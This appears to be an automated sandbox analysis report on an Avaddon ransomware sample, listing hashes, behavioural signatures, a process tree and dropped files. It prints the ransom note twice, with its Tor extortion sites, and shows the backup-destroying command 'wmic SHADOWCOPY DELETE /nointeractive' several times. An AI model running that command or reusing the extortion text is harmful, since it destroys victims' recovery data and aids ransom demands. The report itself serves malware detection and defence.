Analysis

  • max time kernel
    148s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    26/07/2026, 21:47

General

  • Target
    ab.exe
  • Size 775KB
  • Sample260726-1m6gcssalg
  • SHA256 1228d0f04f0ba82569fc1c0609f9fd6c377a91b9ea44c1e7f9f84b2b90552da2
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Path
  • C:\Users\Admin\Desktop\UvG27vf_readme_.txt

  • avaddon

Ransom Note
  • -------=== Your network has been infected! ===------- ***************** DO NOT DELETE THIS FILE UNTIL ALL YOUR DATA HAVE BEEN RECOVERED ***************** All your documents, photos, databases and other important files have been encrypted and have the extension: .adBeAEAAeC You are not able to decrypt it by yourself. But don't worry, we can help you to restore all your files! The only way to restore your files is to buy our special software. Only we can give you this software and only we can restore your files! We have also downloaded a lot of private data from your network. If you do not contact as in a 3 days we will post information about your breach on our public news website (avaddongun7rngel.onion) and after 7 days the whole downloaded info. You can get more information on our page, which is located in a Tor hidden network. How to get to our page -------------------------------------------------------------------------------- | | 1. Download Tor browser - https://www.torproject.org/ | | 2. Install Tor browser | | 3. Open link in Tor browser - avaddonbotrxmuyl.onion | | 4. Follow the instructions on this page | -------------------------------------------------------------------------------- Your ID: -------------------------------------------------------------------------------- MjY2NC1ZTk1YbWpyNXp1WHNjQTVpRlVmbFBvaWdZUkVCdWUyYVNEUTZrb283WWcwckVSQTd3SE5YUE4rWXBTWTNJT1hUMGxydGcwRzdGb01Sc3oxYUFMQVNZcnlyV3NaVzNvRXdoa0NHZ09Cd2Y2ZHdLT1QxTmJSK3orMThJSmxlanlUVTJQTWc0eXVTNmFualpweWJuZlJNZHpkS3FVV2I1djdxek1GSlZZbENqTkNOTm4wRzE2OFZDZUFDSVVEdlIxOE5OSVhpaUNHYjVaVFBoN0JLMUFUVEYxTWdrWjdCaHpBRzdtMkhVdGZadjEwOEhTUURlSjJvRWt0aTcyQytsRjhRZ092TzMrcmxwUzBJV0R5UnF2cFk0ZHI2VXM1L3B5NS9pWlUzTFE5akswanVWdWdkT0tuZ3dIUDUwYzBYMVFzRGlncHo4c0dkQUhCclV2OWNxaS82eXNDbEVKVngxbTA3WDdqM0pXVGx3bzUraEJMMHlrZU5Xbmk3czU4dkhLOTNTL2R3QVRZUWJqWHdBNlM3TG5jYW54ZEpMc1E2U3BzZjBJamJaRnFGOU9aZk5HdHNhTkd1YThETVdpMi9Pd1JsOFU0Snp5YW4zcFk2UW95QXRnUS9lYm5XUDRJeDRGUTFLbm1ZbWVSMDdHRzZMc0tiVExua3lNL2N5bC8wZHJCOWR0U0Iyb1N1ZlJQWWdjbkM3bHNGdTNXTzV3Wm1RWjhhMUt5V01nclhmY0NCWnNFMEpPRC9ka3BFRGhIYmEyWkFVNXJpWXlVZXU3QVZxOUJZaXRWN2tqRXFaOFo1Qk9FZWMvUEZoTDZrNitlYVlQWlIzYnlWQktxOTd1ZDFyNDQrSitiS0l4ang3ek9TRVR4VkRjUVNYVHRhUWRWVmRLcUVaejk2QmY3WDJDUUNTL2lHRCtrVUZ0d3V2VjNGSjRQcHY2U1NITVJqSGZNYS9xSGJCQmxJR1hVb0NTZ3dWSVRKTzEzSm5ySitXK2FBcEl1Szc0dlNjdnUyZkxFRUZhcHlab2tMZ3NBTzU0RXEyUGNtRklsQkRBeE9ad3BtZ2dFWlArRmJ0TDFoclB6SUl2b2FPeEt3UmNWL2F4TG5VSk9lUnVvZmlCK3FDUjByNTFLSWtPZVNYUlZoUWM2RFdwZXlOd28xZDNiRmdEc3U2UUZ2eFJDOWVZVEk5N3ZZbk1ZT2VGekxuY3piZDRQTkdTK0o4V0JlckswMTRDbmpxTGZORDhBU3FLNjJodW85NkNEd3lOQTFhSDJGVU11cEZtQ2dwWTVFaHRON1A5NHBRcXBCR2lmZmcySzNlR2pHRXA0S0VHT1dOMk9WMXhsQjYzeWVlREUydEVHOHVyRWF4RDlNMG9IQW5qTHRhUkJnUkh0YTRFTHNiSXgrbVV1M01UNSt6TU9vOEFrSzZhTVR5dGFsdjlNTSt6NlZmYWg3WnNGQmFMcDBtOHRoUzJvSUlPVHNvV0NIY0Z5VDJlMmdkaTh2WEY3V2xiRVJCcnF2V1JrOExMMjV6cDFYcWNYVFZrbE03bzBvaW83Q3RQbDhKSVdaeG5VOXhGMlFXSmtTRFNvOHlIZ1pRaTk2U0F4NHQ5MklRb015cm5kSEVZMkk4T1JQaE5sTGp5MmRRSmxRVDB0K0d0U2hCVHNWWXVLZmtWck0ySWxrdEdxVkt5VWt2akMxSFpwbWhaRmFGRitzTjdNLzlBbTZTaFJ3WVNHWkNPeDlqS1UrRUpqNEh3d0d1Y3ZKNHZIVHVvUGpVV2Rac1NmUUluZ25RUnhxVkdYaHcxeUJKR2FvVDJwOHlCYXRvVUdTT1I4MFBRcWRBMWE4RUpKRXFxWXZqb0c4V2h0SFBIRmJZR29DVSt0T1RaRnVKZVByb3hKb3RNQlJBcmJGM21CWGFsT3ozUVRqb0FTUGgwTEdUNHZNOHJHOFpTRlRaUDZjWEgzWlE1ak9zaGxvb1E5V2ZkTzZMS3d0UTN6OEdENndZREViRmdiSGpINm1tM0R3YlFZaUVxMEJwSktSU1RzTE14TU5VdXNCZDhLK2ovUzlzWWp1RTF5MG5lbUVkRHNTVi9qcFJYeS9lQ0RzT01jOTk0UmVYNHJ6eUVqQ1JjWUJSMzJQZkI1aFpCSElxQmo5cWQ3eDRiaUlSUml2TmN1WHFjSjdzZz09 -------------------------------------------------------------------------------- * DO NOT TRY TO RECOVER FILES YOURSELF! * DO NOT MODIFY ENCRYPTED FILES! * * * OTHERWISE, YOU MAY LOSE ALL YOUR FILES FOREVER! * * * 3
URLs
  • http://avaddongun7rngel.onion

  • http://avaddonbotrxmuyl.onion

Extracted

Path
  • C:\Users\Admin\Music\UvG27vf_readme_.txt

  • avaddon

Ransom Note
  • -------=== Your network has been infected! ===------- ***************** DO NOT DELETE THIS FILE UNTIL ALL YOUR DATA HAVE BEEN RECOVERED ***************** All your documents, photos, databases and other important files have been encrypted and have the extension: .adBeAEAAeC You are not able to decrypt it by yourself. But don't worry, we can help you to restore all your files! The only way to restore your files is to buy our special software. Only we can give you this software and only we can restore your files! We have also downloaded a lot of private data from your network. If you do not contact as in a 3 days we will post information about your breach on our public news website (avaddongun7rngel.onion) and after 7 days the whole downloaded info. You can get more information on our page, which is located in a Tor hidden network. How to get to our page -------------------------------------------------------------------------------- | | 1. Download Tor browser - https://www.torproject.org/ | | 2. Install Tor browser | | 3. Open link in Tor browser - avaddonbotrxmuyl.onion | | 4. Follow the instructions on this page | -------------------------------------------------------------------------------- Your ID: -------------------------------------------------------------------------------- MjY2NC1ZTk1YbWpyNXp1WHNjQTVpRlVmbFBvaWdZUkVCdWUyYVNEUTZrb283WWcwckVSQTd3SE5YUE4rWXBTWTNJT1hUMGxydGcwRzdGb01Sc3oxYUFMQVNZcnlyV3NaVzNvRXdoa0NHZ09Cd2Y2ZHdLT1QxTmJSK3orMThJSmxlanlUVTJQTWc0eXVTNmFualpweWJuZlJNZHpkS3FVV2I1djdxek1GSlZZbENqTkNOTm4wRzE2OFZDZUFDSVVEdlIxOE5OSVhpaUNHYjVaVFBoN0JLMUFUVEYxTWdrWjdCaHpBRzdtMkhVdGZadjEwOEhTUURlSjJvRWt0aTcyQytsRjhRZ092TzMrcmxwUzBJV0R5UnF2cFk0ZHI2VXM1L3B5NS9pWlUzTFE5akswanVWdWdkT0tuZ3dIUDUwYzBYMVFzRGlncHo4c0dkQUhCclV2OWNxaS82eXNDbEVKVngxbTA3WDdqM0pXVGx3bzUraEJMMHlrZU5Xbmk3czU4dkhLOTNTL2R3QVRZUWJqWHdBNlM3TG5jYW54ZEpMc1E2U3BzZjBJamJaRnFGOU9aZk5HdHNhTkd1YThETVdpMi9Pd1JsOFU0Snp5YW4zcFk2UW95QXRnUS9lYm5XUDRJeDRGUTFLbm1ZbWVSMDdHRzZMc0tiVExua3lNL2N5bC8wZHJCOWR0U0Iyb1N1ZlJQWWdjbkM3bHNGdTNXTzV3Wm1RWjhhMUt5V01nclhmY0NCWnNFMEpPRC9ka3BFRGhIYmEyWkFVNXJpWXlVZXU3QVZxOUJZaXRWN2tqRXFaOFo1Qk9FZWMvUEZoTDZrNitlYVlQWlIzYnlWQktxOTd1ZDFyNDQrSitiS0l4ang3ek9TRVR4VkRjUVNYVHRhUWRWVmRLcUVaejk2QmY3WDJDUUNTL2lHRCtrVUZ0d3V2VjNGSjRQcHY2U1NITVJqSGZNYS9xSGJCQmxJR1hVb0NTZ3dWSVRKTzEzSm5ySitXK2FBcEl1Szc0dlNjdnUyZkxFRUZhcHlab2tMZ3NBTzU0RXEyUGNtRklsQkRBeE9ad3BtZ2dFWlArRmJ0TDFoclB6SUl2b2FPeEt3UmNWL2F4TG5VSk9lUnVvZmlCK3FDUjByNTFLSWtPZVNYUlZoUWM2RFdwZXlOd28xZDNiRmdEc3U2UUZ2eFJDOWVZVEk5N3ZZbk1ZT2VGekxuY3piZDRQTkdTK0o4V0JlckswMTRDbmpxTGZORDhBU3FLNjJodW85NkNEd3lOQTFhSDJGVU11cEZtQ2dwWTVFaHRON1A5NHBRcXBCR2lmZmcySzNlR2pHRXA0S0VHT1dOMk9WMXhsQjYzeWVlREUydEVHOHVyRWF4RDlNMG9IQW5qTHRhUkJnUkh0YTRFTHNiSXgrbVV1M01UNSt6TU9vOEFrSzZhTVR5dGFsdjlNTSt6NlZmYWg3WnNGQmFMcDBtOHRoUzJvSUlPVHNvV0NIY0Z5VDJlMmdkaTh2WEY3V2xiRVJCcnF2V1JrOExMMjV6cDFYcWNYVFZrbE03bzBvaW83Q3RQbDhKSVdaeG5VOXhGMlFXSmtTRFNvOHlIZ1pRaTk2U0F4NHQ5MklRb015cm5kSEVZMkk4T1JQaE5sTGp5MmRRSmxRVDB0K0d0U2hCVHNWWXVLZmtWck0ySWxrdEdxVkt5VWt2akMxSFpwbWhaRmFGRitzTjdNLzlBbTZTaFJ3WVNHWkNPeDlqS1UrRUpqNEh3d0d1Y3ZKNHZIVHVvUGpVV2Rac1NmUUluZ25RUnhxVkdYaHcxeUJKR2FvVDJwOHlCYXRvVUdTT1I4MFBRcWRBMWE4RUpKRXFxWXZqb0c4V2h0SFBIRmJZR29DVSt0T1RaRnVKZVByb3hKb3RNQlJBcmJGM21CWGFsT3ozUVRqb0FTUGgwTEdUNHZNOHJHOFpTRlRaUDZjWEgzWlE1ak9zaGxvb1E5V2ZkTzZMS3d0UTN6OEdENndZREViRmdiSGpINm1tM0R3YlFZaUVxMEJwSktSU1RzTE14TU5VdXNCZDhLK2ovUzlzWWp1RTF5MG5lbUVkRHNTVi9qcFJYeS9lQ0RzT01jOTk0UmVYNHJ6eUVqQ1JjWUJSMzJQZkI1aFpCSElxQmo5cWQ3eDRiaUlSUml2TmN1WHFjSjdzZz09 -------------------------------------------------------------------------------- * DO NOT TRY TO RECOVER FILES YOURSELF! * DO NOT MODIFY ENCRYPTED FILES! * * * OTHERWISE, YOU MAY LOSE ALL YOUR FILES FOREVER! * * * tuCy
URLs
  • http://avaddongun7rngel.onion

  • http://avaddonbotrxmuyl.onion

Signatures

  • Family: Avaddon

    Ransomware-as-a-service first released in June 2020 and currently expanding its userbase among criminal actors.

  • Avaddon payload 1 IoCs
  • Process spawned unexpected child process 3 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • UAC bypass 3 TTPs 2 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Renames multiple (119) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

  • Executes dropped EXE 2 IoCs
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Drops desktop.ini file(s) 2 IoCs
  • Enumerates connected drives 3 TTPs 24 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs
  • System policy modification 1 TTPs 3 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\ab.exe
    "C:\Users\Admin\AppData\Local\Temp\ab.exe"
    1⤵
    • UAC bypass
    • Checks whether UAC is enabled
    • Drops desktop.ini file(s)
    • Enumerates connected drives
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    • System policy modification
    PID:2528
    • C:\Windows\SysWOW64\Wbem\wmic.exe
      wmic SHADOWCOPY DELETE /nointeractive
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5572
    • C:\Windows\SysWOW64\Wbem\wmic.exe
      wmic SHADOWCOPY DELETE /nointeractive
      2⤵
      • System Location Discovery: System Language Discovery
      PID:2020
    • C:\Windows\SysWOW64\Wbem\wmic.exe
      wmic SHADOWCOPY DELETE /nointeractive
      2⤵
      • System Location Discovery: System Language Discovery
      PID:3440
  • C:\Windows\system32\wbem\wmic.exe
    wmic SHADOWCOPY DELETE /nointeractive
    1⤵
    • Process spawned unexpected child process
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:2412
  • C:\Windows\system32\wbem\wmic.exe
    wmic SHADOWCOPY DELETE /nointeractive
    1⤵
    • Process spawned unexpected child process
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:4256
  • C:\Windows\system32\wbem\wmic.exe
    wmic SHADOWCOPY DELETE /nointeractive
    1⤵
    • Process spawned unexpected child process
    • Suspicious use of AdjustPrivilegeToken
    PID:4220
  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\ab.exe
    C:\Users\Admin\AppData\Roaming\Microsoft\Windows\ab.exe
    1⤵
    • Executes dropped EXE
    • System Location Discovery: System Language Discovery
    PID:2016
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
      PID:5712
    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\ab.exe
      "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\ab.exe"
      1⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:5044

    Network

          MITRE ATT&CK Enterprise v16

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          Downloads

          ab.exe

          • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\ab.exe
          • Size 775KB
          • SHA256 1228d0f04f0ba82569fc1c0609f9fd6c377a91b9ea44c1e7f9f84b2b90552da2
          • MD5 SHA1 SHA512 SSDEEP TLSH

          UvG27vf_readme_.txt

          • Path C:\Users\Admin\Desktop\UvG27vf_readme_.txt
          • Size 3KB
          • SHA256 b423a7c2807b69ab9cdba8005c02bcead8540b34ac4025486be41d58af3844fd
          • MD5 SHA1 SHA512 TLSH

          UvG27vf_readme_.txt

          • Path C:\Users\Admin\Music\UvG27vf_readme_.txt
          • Size 3KB
          • SHA256 8c8a35e0d2dca9f5ed0f472b0bab6f86c142230a9daef069c0f9410fb16df7d4
          • MD5 SHA1 SHA512 TLSH

          desktop.ini

          • Path \Device\HarddiskVolume3\$RECYCLE.BIN\S-1-5-21-1079202589-886135813-2527035092-1000\desktop.ini
          • Size 129B
          • SHA256 e1b9ce9b57957b1a0607a72a057d6b7a9b34ea60f3f8aa8f38a3af979bd23066
          • MD5 SHA1 SHA512 TLSH